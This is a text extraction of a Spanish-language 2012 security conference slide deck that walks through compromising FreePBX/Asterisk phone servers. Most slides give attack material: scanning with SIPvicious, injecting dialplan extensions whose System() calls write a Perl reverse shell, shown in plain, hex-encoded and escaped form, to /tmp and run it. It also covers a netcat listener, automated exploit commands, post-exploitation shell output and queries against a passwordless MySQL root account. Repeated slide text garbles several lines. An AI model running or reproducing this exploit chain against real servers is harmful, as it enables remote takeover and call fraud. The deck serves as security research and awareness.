+ All Categories
Home > Documents > FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una...

FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una...

Date post: 30-Sep-2018
Category:
Upload: phamduong
View: 357 times
Download: 4 times
Share this document with a friend
115
FreePBX for Fun & Profit FreePBX for Fun & Profit Jose Luis Verdeguer Jose Luis Verdeguer (aka Pepelux Pepelux ) Twitter: @pepeluxx @pepeluxx Mail: [email protected] [email protected] http://blog.pepelux.org http://www.zoonsuite.es NcN 2k12 NcN 2k12
Transcript
Page 1: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

FreePBX for Fun & ProfitFreePBX for Fun & Profit

Jose Luis VerdeguerJose Luis Verdeguer (aka PepeluxPepelux)

Twitter: @pepeluxx@pepeluxx

Mail: [email protected] [email protected]

http://blog.pepelux.orghttp://www.zoonsuite.es

NcN 2k12NcN 2k12

Page 2: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?- FreePBX es una distribución de Asterisk.

- Asterisk es un software libre que realiza funciones de centralita telefónica (el objetivo para una empresa es sustituir a la centralita convencional).

Page 3: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ?Frente a una centralita convencional, un sistema de VoIP:

- Es más económico (gratis – sólo requiere un equipo no muy potente).

- Es mucho más flexible (extensiones ilimitadas, plan de llamadas, etc).

- Podemos realizar el mantenimiento nosotros mismos.

- Permite reutilizar los teléfonos convencionales, mediante el uso de gateways.

- Para la entrada/salida, podemos conectar una o más líneas convencionales (usando una tarjeta PSTN) o enrutar las llamadas, a través de Internet, hacia un operador de VoIP.

- El único “problema” es que requiere unos mínimos conocimientos de seguridad, o puede salirnos muy caro (si nos hackean un servidor de correo, podrán mandar spam. Si nos hackean un servidor de VoIP, nos robarán dinero).

Page 4: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 5: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 6: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Características:Características:

- Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, - Fail2ban que bloquea ataques de fuerza bruta (SSH, HTTP, SIP, etc).SIP, etc).

- MySQL sin usuarios accesibles desde el exterior.- MySQL sin usuarios accesibles desde el exterior.

- Obliga a usar contraseñas robustas para las cuentas SIP, - Obliga a usar contraseñas robustas para las cuentas SIP, IAX2, ....IAX2, ....

- Administración por HTTP en claro –- Administración por HTTP en claro – FAIL!FAIL!

- La sesión del panel nunca caduca –- La sesión del panel nunca caduca – FAIL! FAIL!

Aparentemente robusto desde el exterior pero …Aparentemente robusto desde el exterior pero …

una vez dentro la seguridad brilla por su ausenciauna vez dentro la seguridad brilla por su ausencia

Page 7: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 8: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Supongamos que tenemos acceso a un panel de control de una Supongamos que tenemos acceso a un panel de control de una FreePBX.FreePBX.

Page 9: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Supongamos que tenemos acceso a un panel de control de una Supongamos que tenemos acceso a un panel de control de una FreePBX.FreePBX.

¿ Es mucho suponer ?¿ Es mucho suponer ?

Page 10: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 11: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 12: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 13: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Buscando servidores FreePBX con SIPvicious:

Page 14: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Algunas no tienen permitidos los accesos a la web desde Internet …

Page 15: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Algunas no tienen permitidos los accesos a la web desde Internet …

… pero otras si ...

Page 16: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Como decía antes ...Como decía antes ...

Supongamos que tenemos acceso a un panel de control de una Supongamos que tenemos acceso a un panel de control de una FreePBX.FreePBX.

Page 17: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Si tenemos acceso a un panel de una FreePBX podemos crear una extensión para hacer llamadas gratis … hasta que nos pillen.

También podemos ejecutar comandos del CLI de Asterisk … aunque no permite ejecutar comandos del sistema (como ocurre en el CLI de consola, usando '!').

Page 18: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Podemos ver la versión de Asterisk con 'core show version'.

Podemos ver las llamadas activas con 'core show channels'.

Page 19: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 20: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 21: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Comando System de Asterisk.

Page 22: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Nuestro objetivo:

- Ejecutar comandos del sistema a través de llamadas telefónicas.

Para ello:

- Vamos a crear una extensión nueva que, tras llamar, ejecute un System().

exten => XXX,1,Answer()exten => XXX,2,System('nuestro comando')exten => XXX,3,Hangup()

Page 23: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

El problema es que FreePBX está muy limitado a la hora de definir lo que hace una extensión, ya que se basa en lo permitido a través de la web, gestionado con unos simples formularios.

Page 24: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Usando el CLI intentaremos crear una nueva extensión que nos permita interactuar con el sistema:

Page 25: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Usando el CLI intentaremos crear una nueva extensión que nos permita interactuar con el sistema:

Al crearla desde el CLI y no desde la web:

- Esta extensión no se va a almacenar en la BBDD.

- Se perderá ante una recarga del dialplan (plan de llamadas).

- Se perderá ante un reinicio de Asterisk.

Page 26: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Usando el CLI intentaremos crear una nueva extensión que nos permita interactuar con el sistema:

Recordemos:

Page 27: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Usando el CLI intentaremos crear una nueva extensión que nos permita interactuar con el sistema:

Recordemos:

Page 28: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Usando el CLI intentaremos crear una nueva extensión que nos permita interactuar con el sistema:

Sería algo así:

Formato:

dialplan add extension extensión, prioridad, comando, [dato] into contexto

Ejemplo:

dialplan add extension 999,1,answer, into ext-local

dialplan add extension 999,2,system,"comando_del_sistema" into ext-local

dialplan add extension 999,3,hangup, into ext-local

Page 29: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Trataremos de usar el comando System para crear en el sistema el siguiente script en Perl y almacenarlo en algún lugar del servidor:

use Socket;

socket (S, PF_INET, SOCK_STREAM, getprotobyname("tcp"));

if (connect (S, sockaddr_in(31337, inet_aton("192.168.2.9")))){

open (STDIN, ">&S"); open (STDOUT, ">&S"); open (STDERR, ">&S"); exec ("/bin/bash -i");

}

Intentaremos inyectar una shell que se guarde en un fichero, usando el comando System de Asterisk:

Page 30: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

dialplan add extension 999,1,answer, into ext-local

dialplan add extension 999,2,system,"echo -e 'use Socket;' > /tmp/s.pl" into ext-local

dialplan add extension 999,3,system,"echo -e 'socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));' >> /tmp/s.pl" into ext-local

dialplan add extension 999,4,system,"echo -e 'if(connect(S,sockaddr_in(31337,' >> /tmp/s.pl" into ext-local

dialplan add extension 999,5,system,"echo -e 'inet_aton("192.168.2.9")))){' >> /tmp/s.pl" into ext-local

dialplan add extension 999,6,system,"echo -e 'open(STDIN,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,7,system,"echo -e 'open(STDOUT,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,8,system,"echo -e 'open(STDERR,">&S");' >> /tmp/s.pl" into ext-local

dialplan add extension 999,9,system,"echo -e 'exec("/bin/bash -i");}' >> /tmp/s.pl" into ext-local

dialplan add extension 999,10,hangup, into ext-local

Las líneas a inyectar, a través del CLI, quedarían de la siguiente forma:

Page 31: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

75 73 65 20 53 6f 63 6b 65 74 3b 0d 0a

73 6f 63 6b 65 74 28 53 2c 50 46 5f 49 4e 45 54 2c 53 4f 43 4b 5f 53 54 52 45 41 4d 2c 67 65 74 70 72 6f 74 6f 62 79 6e 61 6d 65 28 22 74 63 70 22 29 29 3b 0d 0a

69 66 28 63 6f 6e 6e 65 63 74 28 53 2c 73 6f 63 6b 61 64 64 72 5f 69 6e 28 33 31 33 33 37 2c

69 6e 65 74 5f 61 74 6f 6e 28 22 31 39 32 2e 31 36 38 2e 32 2e 39 22 29 29 29 29 7b 0d 0a

6f 70 65 6e 28 53 54 44 49 4e 2c 22 3e 26 53 22 29 3b 0d 0a

6f 70 65 6e 28 53 54 44 4f 55 54 2c 22 3e 26 53 22 29 3b 0d 0a

6f 70 65 6e 28 53 54 44 45 52 52 2c 22 3e 26 53 22 29 3b 0d 0a

65 78 65 63 28 22 2f 62 69 6e 2f 62 61 73 68 20 2d 69 22 29 3b 7d 0d 0a

El problema es que a través de la web no podemos introducir ciertos caracteres, por lo que hay que codificar la entrada:

Page 32: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

\\x75\\x73\\x65\\x20\\x53\\x6f\\x63\\x6b\\x65\\x74\\x3b\\x0d\\x0a

\\x73\\x6f\\x63\\x6b\\x65\\x74\\x28\\x53\\x2c\\x50\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x53\\x4f\\x43\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x67\\x65\\x74\\x70\\x72\\x6f\\x74\\x6f\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x22\\x74\\x63\\x70\\x22\\x29\\x29\\x3b\\x0d\\x0a

\\x69\\x66\\x28\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x28\\x53\\x2c\\x73\\x6f\\x63\\x6b\\x61\\x64\\x64\\x72\\x5f\\x69\\x6e\\x28\\x33\\x31\\x33\\x33\\x37\\x2c

\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x28\\x22\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x39\\x22\\x29\\x29\\x29\\x29\\x7b\\x0d\\x0a

\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x49\\x4e\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a

\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x4f\\x55\\x54\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a

\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x45\\x52\\x52\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a

\\x65\\x78\\x65\\x63\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x62\\x61\\x73\\x68\\x20\\x2d\\x69\\x22\\x29\\x3b\\x7d\\x0d\\x0a

Page 33: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,1,answer, into ext-local

dialplan add extension 999,2,system,"echo -e dialplan add extension 999,2,system,"echo -e '\\x75\\x73\\x65\\x20\\x53\\x6f\\x63\\x6b\\x65\\x74\\x3b\\x0d\\x0a' > /tmp/s.pl" into '\\x75\\x73\\x65\\x20\\x53\\x6f\\x63\\x6b\\x65\\x74\\x3b\\x0d\\x0a' > /tmp/s.pl" into ext-local ext-local

dialplan add extension 999,3,system,"echo -e dialplan add extension 999,3,system,"echo -e '\\x73\\x6f\\x63\\x6b\\x65\\x74\\x28\\x53\\x2c\\x50\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x'\\x73\\x6f\\x63\\x6b\\x65\\x74\\x28\\x53\\x2c\\x50\\x46\\x5f\\x49\\x4e\\x45\\x54\\x2c\\x53\\x4f\\x43\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x67\\x65\\x74\\x70\\x72\\x6f\53\\x4f\\x43\\x4b\\x5f\\x53\\x54\\x52\\x45\\x41\\x4d\\x2c\\x67\\x65\\x74\\x70\\x72\\x6f\\x74\\x6f\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x22\\x74\\x63\\x70\\x22\\x29\\x29\\x3b\\x\x74\\x6f\\x62\\x79\\x6e\\x61\\x6d\\x65\\x28\\x22\\x74\\x63\\x70\\x22\\x29\\x29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local 0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,4,system,"echo -e dialplan add extension 999,4,system,"echo -e '\\x69\\x66\\x28\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x28\\x53\\x2c\\x73\\x6f\\x63\\x6b\\x'\\x69\\x66\\x28\\x63\\x6f\\x6e\\x6e\\x65\\x63\\x74\\x28\\x53\\x2c\\x73\\x6f\\x63\\x6b\\x61\\x64\\x64\\x72\\x5f\\x69\\x6e\\x28\\x33\\x31\\x33\\x33\\x37\\x2c' >> /tmp/s.pl" into 61\\x64\\x64\\x72\\x5f\\x69\\x6e\\x28\\x33\\x31\\x33\\x33\\x37\\x2c' >> /tmp/s.pl" into ext-local ext-local

dialplan add extension 999,5,system,"echo -e dialplan add extension 999,5,system,"echo -e '\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x28\\x22\\x31\\x39\\x32\\x2e\\x31\\x36\\'\\x69\\x6e\\x65\\x74\\x5f\\x61\\x74\\x6f\\x6e\\x28\\x22\\x31\\x39\\x32\\x2e\\x31\\x36\\x38\\x2e\\x32\\x2e\\x39\\x22\\x29\\x29\\x29\\x29\\x7b\\x0d\\x0a' >> /tmp/s.pl" into ext-local x38\\x2e\\x32\\x2e\\x39\\x22\\x29\\x29\\x29\\x29\\x7b\\x0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,6,system,"echo -e dialplan add extension 999,6,system,"echo -e '\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x49\\x4e\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\'\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x49\\x4e\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,7,system,"echo -e dialplan add extension 999,7,system,"echo -e '\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x4f\\x55\\x54\\x2c\\x22\\x3e\\x26\\x53\\x22\\x'\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x4f\\x55\\x54\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local 29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,8,system,"echo -e dialplan add extension 999,8,system,"echo -e '\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x45\\x52\\x52\\x2c\\x22\\x3e\\x26\\x53\\x22\\'\\x6f\\x70\\x65\\x6e\\x28\\x53\\x54\\x44\\x45\\x52\\x52\\x2c\\x22\\x3e\\x26\\x53\\x22\\x29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local x29\\x3b\\x0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,9,system,"echo -e dialplan add extension 999,9,system,"echo -e '\\x65\\x78\\x65\\x63\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x22\\'\\x65\\x78\\x65\\x63\\x28\\x22\\x2f\\x62\\x69\\x6e\\x2f\\x73\\x68\\x20\\x2d\\x69\\x22\\x29\\x3b\\x7d\\x0d\\x0a' >> /tmp/s.pl" into ext-local x29\\x3b\\x7d\\x0d\\x0a' >> /tmp/s.pl" into ext-local

dialplan add extension 999,10,hangup, into ext-local dialplan add extension 999,10,hangup, into ext-local

Quedando finalmente:

Page 34: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Una vez realizada la inyección de la nueva extensión en el Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas.cuenta para poder realizar llamadas.

Configuramos un Configuramos un softphonesoftphone con esa cuenta. con esa cuenta.

Llamamos por teléfono a la extensión 999 para ejecutar el Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadasplan de llamadas y crear nuestro y crear nuestro scriptscript..

Page 35: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Una vez realizada la inyección de la nueva extensión en el Una vez realizada la inyección de la nueva extensión en el dialplan, como tenemos acceso al panel, nos creamos una dialplan, como tenemos acceso al panel, nos creamos una cuenta para poder realizar llamadas.cuenta para poder realizar llamadas.

Configuramos un Configuramos un softphonesoftphone con esa cuenta. con esa cuenta.

Llamamos por teléfono a la extensión 999 para ejecutar el Llamamos por teléfono a la extensión 999 para ejecutar el plan de llamadasplan de llamadas y crear nuestro y crear nuestro scriptscript..

Tras la llamada, tendremos el Tras la llamada, tendremos el scriptscript en el sistema en el sistema

(almacenado como (almacenado como /tmp/s.pl/tmp/s.pl).).

Page 36: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Ahora creamos otro Ahora creamos otro plan de llamadasplan de llamadas para ejecutarlo: para ejecutarlo:

- Recargamos el dialplan para borrar la extensión 999:- Recargamos el dialplan para borrar la extensión 999:

dialplan reload dialplan reload

- Volvemos a crear la extensión:- Volvemos a crear la extensión:

dialplan add extension 999,1,answer, into ext-local dialplan add extension 999,1,answer, into ext-local

dialplan add extension 999,2,system,"dialplan add extension 999,2,system,"perl /tmp/s.plperl /tmp/s.pl" into ext-local " into ext-local

dialplan add extension 999,3,hangup, into ext-local dialplan add extension 999,3,hangup, into ext-local

Page 37: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Dejamos una terminal a la escucha con Netcat en nuestro Dejamos una terminal a la escucha con Netcat en nuestro equipo:equipo:

pepelux@debian$ nc -l -p 31337

Llamamos por teléfono a la extensión 999 para ejecutar Llamamos por teléfono a la extensión 999 para ejecutar nuestro nuestro scriptscript..

Page 38: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Automatizando el proceso (script 1)Automatizando el proceso (script 1)

Page 39: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Pasos a seguir:Pasos a seguir:

1 - Creamos un plan de llamadas para crear una shell:1 - Creamos un plan de llamadas para crear una shell:pepelux@debian$ pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -cs -ip 192.168.2.9-ip 192.168.2.9

2 – Llamamos por teléfono para ejecutarlo.2 – Llamamos por teléfono para ejecutarlo.

3 - Creamos un plan de llamadas para ejecutar la shell:3 - Creamos un plan de llamadas para ejecutar la shell:pepelux@debian$ pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -esperl freepbx.pl -h 192.168.2.20 -u admin -p web01 -es

4 – Ponemos una terminal a la escucha con Netcat:4 – Ponemos una terminal a la escucha con Netcat:pepelux@debian$pepelux@debian$ nc -l -p 31337nc -l -p 31337

5 – Llamamos por teléfono para ejecutarlo.5 – Llamamos por teléfono para ejecutarlo.

Automatizando el proceso (script 1)Automatizando el proceso (script 1)

Page 40: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Automatizando el proceso (script 2)Automatizando el proceso (script 2)

Page 41: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Pasos a seguir:Pasos a seguir:

1 – Ponemos un terminal a la escucha con Netcat:1 – Ponemos un terminal a la escucha con Netcat:

pepelux@debian$ pepelux@debian$ nc -l -p 31337nc -l -p 31337

2 – Lanzamos el script:2 – Lanzamos el script:

pepelux@debian$ pepelux@debian$ perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto perl freepbx.pl -h 192.168.2.20 -u admin -p web01 -auto -call -user 206 -pass 123456asd-call -user 206 -pass 123456asd

Automatizando el proceso (script 2)Automatizando el proceso (script 2)

Page 42: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

DEMODEMO

(con la última versión de FreePBX)(con la última versión de FreePBX)

¡¡ Veamos un caso práctico !!¡¡ Veamos un caso práctico !!

Page 43: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

bash-4.1$ bash-4.1$ whoami whoami

asterisk asterisk

bash-4.1$ bash-4.1$ id id

uid=uid=498(asterisk) gid=498(asterisk) groups=498(asterisk) uid=uid=498(asterisk) gid=498(asterisk) groups=498(asterisk)

bash-4.1$ bash-4.1$ uname -a; cat /etc/issue /proc/version uname -a; cat /etc/issue /proc/version

uname -a; cat /etc/issue /proc/version uname -a; cat /etc/issue /proc/version

Linux localhost.localdomain 2.6.32-220.13.1.el6.i686 #1 SMP Tue Apr Linux localhost.localdomain 2.6.32-220.13.1.el6.i686 #1 SMP Tue Apr 17 22:09:08 BST 2012 i686 i686 i386 GNU/Linux17 22:09:08 BST 2012 i686 i686 i386 GNU/Linux

CentOS release 6.2 (Final)CentOS release 6.2 (Final)

Kernel \r on an \mKernel \r on an \m

Linux version 2.6.32-220.13.1.el6.i686 Linux version 2.6.32-220.13.1.el6.i686 ([email protected]) (gcc version 4.4.6 ([email protected]) (gcc version 4.4.6 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Apr 17 22:09:08 20110731 (Red Hat 4.4.6-3) (GCC) ) #1 SMP Tue Apr 17 22:09:08 BST 2012BST 2012

¿Quiénes somos y dónde estamos?¿Quiénes somos y dónde estamos?

Page 44: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Analicemos los serviciosAnalicemos los servicios

Page 45: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones
Page 46: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Algunos comandos:Algunos comandos:

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show databases"mysql -D mysql -u root -e "show databases"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show tables"mysql -D mysql -u root -e "show tables"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "select Host,User,Password from mysql -D mysql -u root -e "select Host,User,Password from user"user"

Page 47: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Algunos comandos:Algunos comandos:

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show databases"mysql -D mysql -u root -e "show databases"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show tables"mysql -D mysql -u root -e "show tables"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "select Host,User,Password from mysql -D mysql -u root -e "select Host,User,Password from user"user"

¿ Veis algo extraño ?¿ Veis algo extraño ?

Page 48: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Algunos comandos:Algunos comandos:

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show databases"mysql -D mysql -u root -e "show databases"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "show tables"mysql -D mysql -u root -e "show tables"

bash-4.1$ bash-4.1$ mysql -D mysql -u root -e "select Host,User,Password from mysql -D mysql -u root -e "select Host,User,Password from user"user"

El usuario root El usuario root NONO tiene contraseña!! tiene contraseña!!

¿ Veis algo extraño ?¿ Veis algo extraño ?

Page 49: FreePBX for fun and Profit - noconname.org · ¿ FreePBX ? ¿ Asterisk ? ¿ VoIP ? - FreePBX es una distribución de Asterisk. - Asterisk es un software libre que realiza funciones

Podemos darnos acceso desde el exterior:Podemos darnos acceso desde el exterior:

